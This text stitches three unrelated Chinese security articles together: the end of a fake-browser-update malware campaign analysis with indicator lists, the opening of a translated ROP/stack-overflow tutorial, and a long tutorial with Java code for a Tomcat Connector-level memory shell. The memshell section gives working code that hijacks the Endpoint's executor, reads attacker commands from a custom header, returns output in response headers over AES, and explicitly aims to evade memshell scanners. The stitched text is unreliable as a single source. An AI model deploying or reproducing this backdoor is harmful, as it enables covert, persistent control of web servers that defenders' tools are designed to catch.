我们编写了一个简单的抓取规则来抓取浏览一系列受害网站传输的数据包并对结果进行解析。即使在列表中有一小段迭代重复的部分，但我们依然能识别出几百个使用WordPress和Joomla受害的网站。尽管我们没有受害网站确切的数量，但我们推测会有成千上万的网站受到影响。
图6：部分遭入侵的网站列表
## 三、Squarespace
Squarespace是另一款十分受欢迎的CMS，但也同样受到了这场恶意活动的影响。这是由
@Ring0x0[指出的](https://twitter.com/Ring0x0/status/976613052606046208)。我们在2月28日发现了一篇论坛帖子，一位squarespace的使用者寻求帮助，他说“我会经常被重定向到另一个页面，显示“您的Chrome版本需要更新””。
图7：一个Squarespace用户称他们的站点已遭到篡改
所以，我登陆到管理面板，看到在Git历史记录中显示了一个之前从未登陆过的用户在上周进行了一次上传:site-bundle.js以及一些其他的大文件列表{sic}。
我们继续深入分析这些案例，发现了在WordPress
和Joomla网站中使用了略有不同的重定向策略。而对于Squarespace，是将一段JavaScript代码直接注入到网站的主页当中。
图8：在Squarespace站点中恶意重定向发生时的流量
它从query[.]network中得到源文件然后从boobahbaby[.]com拉取 bundle.js:
图9：被入侵的Squarespace站点中的注入代码
bundle.js中包含了我们在之前说的重定向URL脚本中相同的内容:
图10：在WP和Joomla入侵过程中使用的相同的重定向代码
根据[PublicWWW
query](https://publicwww.com/websites/%22%2Fjquery%3Ffrm%3Dscript%26se_referrer%22/)查询结果显示有超过900个SquareSpace网站已经被注入了这个恶意重定向代码。
图11：使用字符串模式识别出的其他被入侵的Squarespace网站
## 四、重定向URL及过滤
所有的CMS都会触发具有类似模式的重定向URL，最终都是加载那个欺诈性质的更新主题网页。根据我们的测试，这些URL具有适用于特定CMS的标识符;例如，cid=221表示与WordPress站点相关，而cid=208表示与Joomla站点相关。
> * WordPress
> track.positiverefreshment[.]org/s_code.js?cid=221&v=8fdbe4223f0230a93678
> track.positiverefreshment.org/s_code.js?cid=225&v=0bbea7365fbb07c7acb3
> track.amishbrand[.]com/s_code.js?cid=205&v=c40bfeff70a8e1abc00f
> track.amishbrand.com/s_code.js?cid=228&v=e8bfa92965d1d880bac2
> track.amishbrand[.]com/s_code.js?cid=234&v=59f4ba6c3cd7f37abedc
> track.amishbrand[.]com/s_code.js?cid=237&v=7e3403034b8bf0ac23c6
> * Joomla
> connect.clevelandskin[.]com/s_code.js?cid=208&v=e1acdea1ea51b0035267
> track.positiverefreshment[.]org/s_code.js?cid=220&v=24eca7c911f5e102e2ba
> track.amishbrand[.]com/s_code.js?cid=226&v=4d25aa10a99a45509fa2
> * SquareSpace
> track.amishbrand[.]com/s_code.js?cid=232&v=47acc84c33bf85c5496d
> * Open Journal Systems
> track.positiverefreshment[.]org/s_code.js?cid=223&v=7124cc38a60ff6cb920d
> * Unknown CMS
> track.positiverefreshment[.]org/s_code.js?cid=211&v=7c6b1d9ec5023db2b7d9
> track.positiverefreshment[.]org/s_code.js?cid=227&v=a414ad4ad38395fc3c3b
>
在这个基础设施上还有其他比较有趣的组件，比如这个广告轮播:
> * track.positiverefreshment.net:81/adrotator/banner.js?cid=100
>
但是如果我们专注于重定向代码本身，我们注意到潜在的受害者在被重定向的同时也会被进行指纹识别（这里指收集用户信息进行验证，包括cookie等）。最终重定向到虚假更新主题页面是有条件的，即每个人只能用一个IP。最后一个JavaScript负责为下一个序列创建iframe
URL。
图12：这里执行指纹识别，Cookie验证和iframe重定向
## 五、虚假更新主题
攻击者使用的有Chrome, Firefox和Internet Explorer浏览器的模板，后者会被替代成Flash Player更新界面。
图13：攻击者将目标锁定在具有专业外观模板的浏览器上
这个虚假的更新界面托管在被入侵网站的主机中，其地址是短生命周期的URL子域名。其中的一些域名是激活的（合法网站的那些）还有一些是处于停放状态中的。
合法域名:
> *
> [https://pask.spgolfshoes[.]com/95b40f61578eed04ff464c5055990abbupdate{trimmed}](https://pask.spgolfshoes%5B.%5Dcom/95b40f61578eed04ff464c5055990abbupdate%7Btrimmed%7D)
>
图14：该凭证很可能已被盗用并用于注册恶意子域名
停放域名:
> *
> [http://zlsk.redneckonize[.]com/wordpress/article.php?f=445327&g={trimmed}](http://zlsk.redneckonize%5B.%5Dcom/wordpress/article.php?f=445327&g=%7Btrimmed%7D)
>
图15：停放域名可以隐藏别有用心的心机
## 六、最终的感染链及payloads
感染是从虚假更新伪装成JS文件从Dropbox文件托管服务上下载下来开始的。指向Dropbox的链接（会定期更新）是在第一次web会话期间被混淆过的。
图16：fileURL变量包含Dropbox URL
这个JavaScript文件被严重混淆过，所以对其静态分析十分困难。它也会隐藏一些重要指纹来逃逸虚拟机和沙箱。
图17：从DropBox上下载下来的恶意JavaScript
根据这篇[文章](https://www.fireeye.com/blog/threat-research/2018/04/fake-software-update-abuses-netsupport-remote-access-tool.html)中对恶意JS文件细致的分析得出这是因为受害者受害过程的第2步中使用WScript。通过网络和WMI来收集受害者系统信息（BIOS，制造商，体系结构，MAC地址，进程信息等），并最终决定是否使用payload继续入侵或者是结束脚本运行。
下方是展示一次失败的感染，会向C2服务器返回2个回调:
图18：检测到不是真正机器的主机，于是中止感染
如果是一次成功的感染，会向C2服务器返回3个回调（包括payload）:
图19：验证通过后，受害者收到payload
经过编码的payload流经过wscript.exe解码，会在%temp%文件夹下释放出恶意二进制文件（Chrome_71.1.43.exe）。这个文件是经过数字签名的，并且含有各种逃逸技术（像立即重启）来抵御沙箱。
图20：数字签名的文件不能保证安全
经过检查，我们确定这是Chtonic banking恶意软件（一种ZeusVM的变种）。一旦系统重启，Chtonic就会从
94.100.18[.]6/3.bin拉取一个重要的配置文件。
在第二次重播尝试中，我们得到了NetSupport远程访问工具（一种商业的远程访问木马）。它的安装和配置已经在这篇[博客](https://www.fireeye.com/blog/threat-research/2018/04/fake-software-update-abuses-netsupport-remote-access-tool.html)中得到了很好的介绍。我们再次注意到，在整个交付程序的过程中大量使用出于恶意目的（文件传输，远程桌面等）的混淆。
图21：RAT感染流量，显示了其后端服务器
## 七、总结
此次恶意活动依赖于交付机制，利用社工方法骗取受害者下载，滥用合法的文件托管服务让其变得更加可信。’诱饵’文件由一个脚本而不是一个恶意可执行文件组成，这使得攻击者能够灵活地开发使用各种混淆方法以及指纹技术。
遭到入侵的网站不仅被用来重定向用户，还挂着虚假更新的界面，使其所有者不知情地参与到恶意软件活动中。所以保持CMS更新，并做好身份认证是非常重要的。
## 八、IOC
重定向域名:
> * 23.152.0[.]118
> 84.200.84[.]236
> 185.243.112[.]38
> eventsbysteph[.]com
> query[.]network
> connect.clevelandskin[.]net
> connect.clevelandskin[.]org
> track.amishbrand[.]com
> track.positiverefreshment[.]org
>
恶意二进制文件:
Chtonic
> * 6f3b0068793b277f1d948e11fe1a1d1c1aa78600712ec91cd0c0e83ed2f4cf1f
> 94.100.18[.]6/3.bin
>
NetSupport RAT
> * 4d24b359176389301c14a92607b5c26b8490c41e7e3a2abbc87510d1376f4a87
> | 社区文章 |
# 【技术分享】ropasaurusrex:ROP入门教程——STACK
|
##### 译文声明
本文是翻译文章，文章来源：skullsecurity.org
原文地址：<https://blog.skullsecurity.org/2013/ropasaurusrex-a-primer-on-return-oriented-programming>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[Kr0net](http://bobao.360.cn/member/contribute?uid=2874666548)
稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**译者的话**
这篇翻译自SkullSecurity——ropasaurusrex: a primer on return-oriented
programming。此文章对ROP进行了非常详尽的介绍。这也是译者个人非常喜欢和强力推荐的文章。文章的篇幅较长，毕竟算是一个完整的教程，翻译时我将文章分为了三个部分。
ropasaurusrex:ROP入门教程——STACK
ropasaurusrex:ROP入门教程——DEP
ropasaurusrex:ROP入门教程——ASLR
**前言**
CTF比赛之后对一些问题的回顾往往让人感觉很糟糕。可能你花了几个小时在问题上在一个题目，但不会像比我在cont上花费这么多时间，不是因为分数，而是意识到它真的很简单。但也是一个脑洞题，ROP也就是这样子。
无论如何，尽管我花了很多时间在一个错误的思路上（具体的说，我没想过绕过ASLR会花费很多时间）。这篇文章的流程：我们解题先解决没有ASLR的难度，之后再加上ASLR，这个是理解ROP的好办法。
在我开始这篇文章之前，我要感谢HIkingPeter对我的帮助。在他的帮助下我们很快地解决了这个疑惑。
巧合的是，我想写一篇关于ROP的文章也有一些时间了，基于此我甚至写了一个相关的demo。但是PlaidCTF给我们这个挑战，我认为它会是一个更好的谈论素材。这篇文章不仅仅是一个WP，同时也是一个初阶的ROP编写教程！
**是什么是ROP？**
ROP——返回导向——编程，是“return to
libc”的EXP编程的别名。当你在一个程序中发现一个溢出或者其他形式的漏洞，但是你没有明确的办法让你的代码进入到可执行的内存空间中（DEP，或者说数据执行保护，意思是说你不能在任意地方运行代码了），ROP可以帮助你控制这个程序。
ROP里你可以选择已经在可执行内存区块的，带着return的代码块，有时候这些代码块有的很简单，但有时候很复杂，庆幸的是在这次的练习中，我们只需要了解简单的。
但是在正式开始学习ROP之前，首先我们需要更多有关栈的知识。我将会花一些时间在介绍栈上面。
**栈**
我相信你之前听说过栈，那么栈溢出呢？粉碎堆栈呢？它们的确切意思是什么呢？如果你已经知道，你可以可以把下面的内容当作一个快速入门，或者直接跳过进入下一节。
这是一个简单的例子，一个函数functionA()调用了functionB(1,2)，接着函数functionB()调用了functionC(3,4)，现在栈的情况如下：
如果你不深呼吸静下心来，是不是没办法一下子讲清楚这个栈结构？好的，让我来解释一下，每当你调用一个函数，一个新的栈帧就会被建立。一个帧的意思是一个函数为它自己在栈上分配一些内存空间。实际上，它甚至没有分配，它只是在栈中增加一些东西，更新ESP寄存器来让函数知道哪里是它应该是栈帧开始运行的（ESP，栈指针，也是一个变量）
一个栈帧保存了当前函数的上下文。这可以让你很轻松地为新调用的函数建立新的栈帧，或者返会前一帧（返回上一个函数）（通过esp的增加或者减少，esp始终在栈的顶部，也就是在当前栈的最低地址）。
你有没有想过当你调用其它函数的时候，当前函数的局部变量到哪里去了（或者说你再次递归调用一个函数的时候）？如果你没有思考过，或者不清楚，你现在应该明白：这些参数保存在旧的栈帧中。
现在，让我们看看栈中储存了什么，栈中的数据是按照顺序存放的（如果对本篇文章的栈有疑问的话，你可以重新画一个栈，在这篇文章里，栈从高地址向低地址延伸，调用者（旧函数）在顶部，被调用者（新函数）在底部）：
a.参数：这些参数被调用者传递进函数里，这些是对ROP来说是十分重要的；
b.返回地址：每一个函数都应该知道当他结束的时候应该到哪儿去，当你调用一个函数的时候，下一条指令的地址在实现调用函数之前就先被压入保存在栈中。当你返回的时候，这些地址弹出栈并且跳转到对应的地址上。这对理解ROP来说也是十分重要的。
c.保存的栈指针：让我们完全无视它。严格来说这项工作是编译器做的事情，除非它不，不然我们不会再提起它
d.局部变量：函数可以根据它的需要来分配相应的内存来存储局部变量。在这里对ROP来说他们并不重要，我们可以忽视它们。
我们来做一个总结：当一个函数被调用，相应的参数带着返回地址会被压入栈中，当一个函数返回时，它再栈中抓取返回地址并跳转到相应的位置上。除非在不被清除的情况下，被压入栈中的参数将会被调用函数清除。我将假设被调用函数不会清理自己的参数(译者：这也是ROP编写中要处理的，作者在下文会具体说明)，而是被调用者清理，现在理解它是怎样工作的是一个挑战（这种情况大多数发生在linux）。
**天堂地狱和栈帧**
要理解ROP你要知道的东西是：一个函数的“整个世界”是它的栈帧。栈是它的神，参数是它的命令，局部变量是它的罪恶（对于局部变量，译者不了解基督文化，不能理解作者这样比喻），保存的帧指针（EBP等）是它的圣经，返回地址是它的天堂（好吧，也有可能是地狱）。
假设你调用了sleep()函数，并且到了这一行，它的栈帧如下所示：
当sleep()开始时，栈帧如下。它保存栈帧指针并且通过减少esp（让esp指向更低的地址）为局部变量分配栈空间。它也可以调用其它的函数，通过控制esp来创建新的栈帧，它可以做很多不同的事情。不管怎么样，当sleep()开始时，栈帧构成了它的整个世界（译者：这个栈帧的存在时间，就是函数中参数的生命周期）。
当sleep()返回时，它的栈空间最终变成这个样子：
还有，在sleep()返回时，调用者将会通过将esp+4来清除[second](稍后，我们将会讨论如何用pop/pop/ret结构来完成同样的事情)。
在一个正常运转的系统中，这是这个函数的一个工作流程，当然这是在工作环境安全的情况下做的考虑。这个[second]值压栈之后就只会在栈中，然后返回地址将会指向调用它的地方。那么，它可以返回到别的地方吗？
**控制栈**
……好的，如果你这样问我（如何控制栈的话），就让我来告诉你。我们都听说过栈溢出，就是在栈中覆盖一个变量。它在运用中是怎么回事呢？，让我们来看下面的栈帧：
buf变量的长度为16字节。当向buf输入一个17字节的数会怎么样呢？向它输入的最后一个字节会覆盖[return
adress]，再输入一个字节的话会覆盖[second]，以此类推。因此我们可以通过修改返回地址使其指向我们想的任何地方。好的，当一个函数返回时我们应该让它返回哪里呢？我觉得那里应该是一个完美的世界。在这个例子里，它确实会返回到攻击者想要的地方。如果攻击者说跳到0，那么它会跳到0然后崩溃，如果攻击者说跳到-0x414141（“AAAA”），它会跳到那儿然后崩溃。如果攻击者说。。。，好吧，接下来就让我们把这个过程变得复杂一些。
（译者的话：到这里文章的很详细地介绍了栈，其内部函数调用栈中数据所发生的变化，以及基本溢出的原理，接下来作者开始介绍DEP，也就是译者译文的第二部分） | 社区文章 |
**前言**
PS：本文均只代表个人浅薄观点，若有错误或理解不足请指出。
Tomcat为了自身的可扩展性，各组件之间在很大程度上都进行了解耦。
而memshell scanner等类似内存马查杀工具，大多都是针对Container内的注册服务进行扫描。
那我们是否可以在Connector内进行内存马的注入？
**正文**
**前置知识**
先来看看Connector的具体实现。
在Tomcat笔记（其一）中我们曾提到，Connector主要由ProtocolHandler与Adapter构成。
而ProtocolHandler又主要由Endpoint与Processor组成：
根据实现的不同，ProtocolHandler又有如下分类：
本文中，我们主要关注一下Http11NioProtocol这个实现。
**Endpoint**
Endpoint是ProtocolHandler的组成之一，而NioEndpoint是Http11NioProtocl中的实现。
Endpoint五大组件：
* LimitLatch：连接控制器，负责控制最大的连接数
* Acceptor：负责接收新的连接，然后返回一个Channel对象给Poller
* Poller：可以将其看成是NIO中Selector，负责监控Channel的状态
* SocketProcessor：可以看成是一个被封装的任务类
* Executor：Tomcat自己扩展的线程池，用来执行任务类
**LimitLatch**
LimitLatch主要是用来控制Tomcat所能接收的最大数量连接，如果超过了此连接，那么Tomcat就会将此连接线程阻塞等待，等里面有其他连接释放了再消费此连接。
public class LimitLatch {
private static final Log log = LogFactory.getLog(LimitLatch.class);
private class Sync extends AbstractQueuedSynchronizer {
private static final long serialVersionUID = 1L;
public Sync() {
}
@Override
protected int tryAcquireShared(int ignored) {
long newCount = count.incrementAndGet();
if (!released && newCount > limit) {
// Limit exceeded
count.decrementAndGet();
return -1;
} else {
return 1;
}
}
@Override
protected boolean tryReleaseShared(int arg) {
count.decrementAndGet();
return true;
}
}
private final Sync sync;
//当前连接数
private final AtomicLong count;
//最大连接数
private volatile long limit;
private volatile boolean released = false;
}
//在AbstractEndpoint类中实现的方法
......
protected LimitLatch initializeConnectionLatch() {
if (this.maxConnections == -1) {
return null;
} else {
if (this.connectionLimitLatch == null) {
this.connectionLimitLatch = new LimitLatch((long)this.getMaxConnections());
}
return this.connectionLimitLatch;
}
}
protected void releaseConnectionLatch() {
LimitLatch latch = this.connectionLimitLatch;
if (latch != null) {
latch.releaseAll();
}
this.connectionLimitLatch = null;
}
protected void countUpOrAwaitConnection() throws InterruptedException {
if (this.maxConnections != -1) {
LimitLatch latch = this.connectionLimitLatch;
if (latch != null) {
latch.countUpOrAwait();
}
}
}
protected long countDownConnection() {
if (this.maxConnections == -1) {
return -1L;
} else {
LimitLatch latch = this.connectionLimitLatch;
if (latch != null) {
long result = latch.countDown();
if (result < 0L) {
this.getLog().warn(sm.getString("endpoint.warn.incorrectConnectionCount"));
}
return result;
} else {
return -1L;
}
}
}
......
**Acceptor**
Acceptor用于接收链接。
//AbstractEndpoint中的原型
......
public class Acceptor<U> implements Runnable {
private static final int INITIAL_ERROR_DELAY = 50;
private static final int MAX_ERROR_DELAY = 1600;
@Override
public void run() {
int errorDelay = 0;
// 循环，直到接收到一个关闭命令
while (endpoint.isRunning()) {
// 循环，如果Endpoint被暂停则循环sleep
while (endpoint.isPaused() && endpoint.isRunning()) {
state = AcceptorState.PAUSED;
try {
Thread.sleep(50); // 50毫秒拉取一次endpoint运行状态
} catch (InterruptedException e) {
}
}
if (!endpoint.isRunning()) {
break;
}
state = AcceptorState.RUNNING;
try {
endpoint.countUpOrAwaitConnection(); // 判断最大连接数
if (endpoint.isPaused()) {
continue;
}
U socket = null;
try {
socket = endpoint.serverSocketAccept(); // 创建一个socketChannel接收连接
} catch (Exception ioe) {
endpoint.countDownConnection();
if (endpoint.isRunning()) {
errorDelay = handleExceptionWithDelay(errorDelay); // 延迟异常处理
throw ioe; // 重新扔出异常给c1处捕获
} else {
break;
}
}
errorDelay = 0; // 成功接收之后重置延时处理异常时间
if (endpoint.isRunning() && !endpoint.isPaused()) {
// setSocketOptions()将Socket传给相应processor处理
if (!endpoint.setSocketOptions(socket)) {
endpoint.closeSocket(socket);
}
} else {
endpoint.destroySocket(socket); // 否则destroy掉该socketChannel
}
} catch (Throwable t) { // c1
ExceptionUtils.handleThrowable(t); // 处理延迟异常
String msg = sm.getString("endpoint.accept.fail");
if (t instanceof Error) {
... // 日志记录
}
}
}
state = AcceptorState.ENDED; // 标记状态为ENDED
}
protected int handleExceptionWithDelay(int currentErrorDelay) {
if (currentErrorDelay > 0) {
try {
Thread.sleep(currentErrorDelay);
} catch (InterruptedException e) {
// Ignore
}
}
// 异常处理
if (currentErrorDelay == 0) {
return INITIAL_ERROR_DELAY; // c2
} else if (currentErrorDelay < MAX_ERROR_DELAY) {
return currentErrorDelay * 2;
} else {
return MAX_ERROR_DELAY;
}
}
}
......
//在AbstractEndpoint类中开启Acceptor线程
......
protected void startAcceptorThreads() {
int count = getAcceptorThreadCount();
acceptors = new ArrayList<>(count);
for (int i = 0; i < count; i++) {
Acceptor<U> acceptor = new Acceptor<>(this);
String threadName = getName() + "-Acceptor-" + i;
acceptor.setThreadName(threadName);
acceptors.add(acceptor);
Thread t = new Thread(acceptor, threadName);
t.setPriority(getAcceptorThreadPriority());
t.setDaemon(getDaemon());
t.start();
}
}
......
//NioEndpoint中具体实现的对SocketChannel的处理
protected class Acceptor extends org.apache.tomcat.util.net.AbstractEndpoint.Acceptor {
protected Acceptor() {
}
public void run() {
byte errorDelay = 0;
while(NioEndpoint.this.running) {
while(NioEndpoint.this.paused && NioEndpoint.this.running) {
this.state = AcceptorState.PAUSED;
try {
Thread.sleep(50L);
} catch (InterruptedException var4) {
}
}
if (!NioEndpoint.this.running) {
break;
}
this.state = AcceptorState.RUNNING;
try {
NioEndpoint.this.countUpOrAwaitConnection();
SocketChannel socket = null;
try {
socket = NioEndpoint.this.serverSock.accept();
} catch (IOException var5) {
NioEndpoint.this.countDownConnection();
if (!NioEndpoint.this.running) {
break;
}
NioEndpoint.this.handleExceptionWithDelay(errorDelay);
throw var5;
}
errorDelay = 0;
if (NioEndpoint.this.running && !NioEndpoint.this.paused) {
if (!NioEndpoint.this.setSocketOptions(socket)) {
this.closeSocket(socket);
}
} else {
this.closeSocket(socket);
}
} catch (Throwable var6) {
ExceptionUtils.handleThrowable(var6);
NioEndpoint.log.error(AbstractEndpoint.sm.getString("endpoint.accept.fail"), var6);
}
}
this.state = AcceptorState.ENDED;
}
private void closeSocket(SocketChannel socket) {
NioEndpoint.this.countDownConnection();
try {
socket.socket().close();
} catch (IOException var4) {
if (NioEndpoint.log.isDebugEnabled()) {
NioEndpoint.log.debug(AbstractEndpoint.sm.getString("endpoint.err.close"), var4);
}
}
try {
socket.close();
} catch (IOException var3) {
if (NioEndpoint.log.isDebugEnabled()) {
NioEndpoint.log.debug(AbstractEndpoint.sm.getString("endpoint.err.close"), var3);
}
}
}
}
**Poller**
public class Poller implements Runnable {
......
@Override
public void run() {
// Loop until destroy() is called
while (true) {
boolean hasEvents = false;
try {
if (!close) {
//查看是否有连接进来,如果有就将Channel注册进Selector中
hasEvents = events();
}
if (close) {
events();
timeout(0, false);
try {
selector.close();
} catch (IOException ioe) {
log.error(sm.getString("endpoint.nio.selectorCloseFail"), ioe);
}
break;
}
} catch (Throwable x) {
ExceptionUtils.handleThrowable(x);
log.error(sm.getString("endpoint.nio.selectorLoopError"), x);
continue;
}
if (keyCount == 0) {
hasEvents = (hasEvents | events());
}
Iterator<SelectionKey> iterator =
keyCount > 0 ? selector.selectedKeys().iterator() : null;
// Walk through the collection of ready keys and dispatch
// any active event.
while (iterator != null && iterator.hasNext()) {
SelectionKey sk = iterator.next();
NioSocketWrapper socketWrapper = (NioSocketWrapper) sk.attachment();
// Attachment may be null if another thread has called
// cancelledKey()
if (socketWrapper == null) {
iterator.remove();
} else {
iterator.remove();
processKey(sk, socketWrapper);
}
}
// Process timeouts
timeout(keyCount,hasEvents);
}
getStopLatch().countDown();
}
......
}
调用events()方法，查看队列中是否有Pollerevent事件，如果有就将其取出，然后把里面的Channel取出来注册到该Selector中，然后不断轮询所有注册过的Channel查看是否有事件发生。
当有事件发生时，则调用SocketProcessor交给Executor执行。
**SocketProcessor**
protected class SocketProcessor extends SocketProcessorBase<NioChannel> {
public SocketProcessor(SocketWrapperBase<NioChannel> socketWrapper, SocketEvent event) {
super(socketWrapper, event);
}
protected void doRun() {
NioChannel socket = (NioChannel)this.socketWrapper.getSocket();
SelectionKey key = socket.getIOChannel().keyFor(socket.getPoller().getSelector());
try {
int handshake = -1;
try {
if (key != null) {
if (socket.isHandshakeComplete()) {
handshake = 0;
} else if (this.event != SocketEvent.STOP && this.event != SocketEvent.DISCONNECT && this.event != SocketEvent.ERROR) {
handshake = socket.handshake(key.isReadable(), key.isWritable());
this.event = SocketEvent.OPEN_READ;
} else {
handshake = -1;
}
}
} catch (IOException var12) {
handshake = -1;
if (NioEndpoint.log.isDebugEnabled()) {
NioEndpoint.log.debug("Error during SSL handshake", var12);
}
} catch (CancelledKeyException var13) {
handshake = -1;
}
if (handshake == 0) {
SocketState state = SocketState.OPEN;
if (this.event == null) {
state = NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.OPEN_READ);
} else {
state = NioEndpoint.this.getHandler().process(this.socketWrapper, this.event);//关键在于调用对应的handler来执行这两个process方法。
}
if (state == SocketState.CLOSED) {
NioEndpoint.this.close(socket, key);
}
} else if (handshake == -1) {
NioEndpoint.this.getHandler().process(this.socketWrapper, SocketEvent.CONNECT_FAIL);
NioEndpoint.this.close(socket, key);
} else if (handshake == 1) {
this.socketWrapper.registerReadInterest();
} else if (handshake == 4) {
this.socketWrapper.registerWriteInterest();
}
} catch (CancelledKeyException var14) {
socket.getPoller().cancelledKey(key);
} catch (VirtualMachineError var15) {
ExceptionUtils.handleThrowable(var15);
} catch (Throwable var16) {
NioEndpoint.log.error("", var16);
socket.getPoller().cancelledKey(key);
} finally {
this.socketWrapper = null;
this.event = null;
if (NioEndpoint.this.running && !NioEndpoint.this.paused) {
NioEndpoint.this.processorCache.push(this);
}
}
}
}
**Executor**
见下文。
**Executor以及恶意Executor的实现：**
//删掉了很多注解，有兴趣可以自行查阅。
public interface Executor {
/**
* Executes the given command at some time in the future. The command
* may execute in a new thread, in a pooled thread, or in the calling
* thread, at the discretion of the {@code Executor} implementation.
*
* @param command the runnable task
* @throws RejectedExecutionException if this task cannot be
* accepted for execution
* @throws NullPointerException if command is null
*/
void execute(Runnable command);
}
Executor其实是Tomcat定制版的线程池，具体设计理论我们无需细究，但有一点我们值得关注：
在Tomcat中Executor由Service维护，因此同一个Service中的组件可以共享一个线程池。如果没有定义任何线程池，相关组件(
如Endpoint)会自动创建线程池，此时，线程池不再共享。
（这也是为什么之前我获取Service直接往executors组里添加executor但却并不生效的原因。）
可以看到这里是直接获取的EndPoint自己启动的TreadPoolExecutor类：
并且他的关键调用方法就在下一行 : executor.execute()
找到其核心处理逻辑后，我们只需继承它，并重写该方法将恶意逻辑写入其中。
public class threadexcutor extends ThreadPoolExecutor {
......
public threadexcutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory, RejectedExecutionHandler handler) {
super(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, handler);
}
......
@Override
public void execute(Runnable command) {
System.out.println("123")；
//Evil code here
this.execute(command, 0L, TimeUnit.MILLISECONDS);
}
......
}
通过AbstractEndpoint中的setExecutor方法将原本的executor置换为我们的恶意类。
置换后，Endpoint处理所使用的executor成功变为我们的恶意类：
**实现交互**
**获取命令**
根据上文中的前置知识和Tomcat笔记（其一）中我们所描述的，标准的ServletRequest需要经过Processor的封装后才可获得，如果我们想要把命令放在header中传入，该如何实现？
实现的方法肯定不止一种，此处我借用java内存搜索工具找到一处位于NioEndpoint中的nioChannels的appReadBufHandler，很明显其中的Buffer存放着我们所需要的request。
将命令字段提取处理即可。
public String getRequest() {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
Object[] objects = (Object[]) getField(getField(getField(target, "this$0"), "nioChannels"), "stack");
ByteBuffer heapByteBuffer = (ByteBuffer) getField(getField(objects[0], "appReadBufHandler"), "byteBuffer");
String a = new String(heapByteBuffer.array(), "UTF-8");
if (a.indexOf("blue0") > -1) {
System.out.println(a.indexOf("blue0"));
System.out.println(a.indexOf("\r", a.indexOf("blue0")) - 1);
String b = a.substring(a.indexOf("blue0") + "blue0".length() + 1, a.indexOf("\r", a.indexOf("blue0")) - 1);
// System.out.println(b);
return b;
}
} catch (Exception var11) {
System.out.println(var11);
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
return new String();
}
**实现回显**
注入内存马的位置在Processor处理生成标准ServletRequest之前，显然完整的ServletResponse要在Containor处理完成之后才会生成，那我们要如何解决回显问题？
想法一：
直接在此处使用Socket与client端进行通信，以字节流的形式传输数据。
（理论上可行，未测试）
想法二：
主要利用tomcat在处理request时的特性。
AbstractProcessor在初始化时就会进行Tomcat
Request与Response的创建，继承了AbstractProcessor的Http11Processor也是如此：
......
public AbstractProcessor(AbstractEndpoint<?> endpoint) {
this(endpoint, new Request(), new Response());
}
......
protected AbstractProcessor(AbstractEndpoint<?> endpoint, Request coyoteRequest, Response coyoteResponse) {
this.hostNameC = new char[0];
this.asyncTimeout = -1L;
this.asyncTimeoutGeneration = 0L;
this.socketWrapper = null;
this.errorState = ErrorState.NONE;
this.endpoint = endpoint;
this.asyncStateMachine = new AsyncStateMachine(this);
this.request = coyoteRequest;
this.response = coyoteResponse;
this.response.setHook(this);
this.request.setResponse(this.response);
this.request.setHook(this);
this.userDataHelper = new UserDataHelper(this.getLog());
}
......
并且Response是会封装在Request对象中的：
在Container中的逻辑处理完之后，Http11Processor会继续对我们的response进行封装：
所以我们只需将命令执行的结果提前放入Tomcat的response中即可，这里我选择的是header。
PS：最开始的时候走了点弯路，想要把最开始的response结构体中的buffer部分找出来直接put(byte[])进去，后来发现byteBuffer扩容起来很麻烦，而且可能会存在后续tomcat处理将回显部分覆盖的情况。
so这里直接使用response.addHeader()，将结果放入header中。
public void getResponse(byte[] res) {
try {
Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
for (Thread thread : threads) {
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("Acceptor")) {
Object target = getField(thread, "target");
if (target instanceof Runnable) {
try {
ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"),"processors");
for (Object tmp_object:objects) {
RequestInfo request = (RequestInfo)tmp_object;
Response response = (Response) getField(getField(request, "req"), "response");
response.addHeader("Server",new String(res,"UTF-8"));
// System.out.print("buffer add");
}
} catch (Exception var11) {
continue;
}
}
}
}
}
} catch (Exception ignored) {
}
}
**Final**
为通信的隐蔽性，最后做了一下AES加密：
最终实现的效果为，若检测到request请求中包含我们自定义的header头则会执行相关恶意操作，并在response的自定义header中返回，否则则为正常业务流量：
同样的，因为不是在Container中实现的内存马，tomcat-memshell-scanner无法检测到：
**jsp_demo**
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static final String DEFAULT_SECRET_KEY = "blueblueblueblue";
private static final String AES = "AES";
private static final byte[] KEY_VI = "blueblueblueblue".getBytes();
private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding";
private static java.util.Base64.Encoder base64Encoder = java.util.Base64.getEncoder();
private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder();
public static String decode(String key, String content) {
try {
javax.crypto.SecretKey secretKey = new javax.crypto.spec.SecretKeySpec(key.getBytes(), AES);
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM);
cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax.crypto.spec.IvParameterSpec(KEY_VI));
byte[] byteContent = base64Decoder.decode(content);
byte[] byteDecode = cipher.doFinal(byteContent);
return new String(byteDecode, java.nio.charset.StandardCharsets.UTF_8);
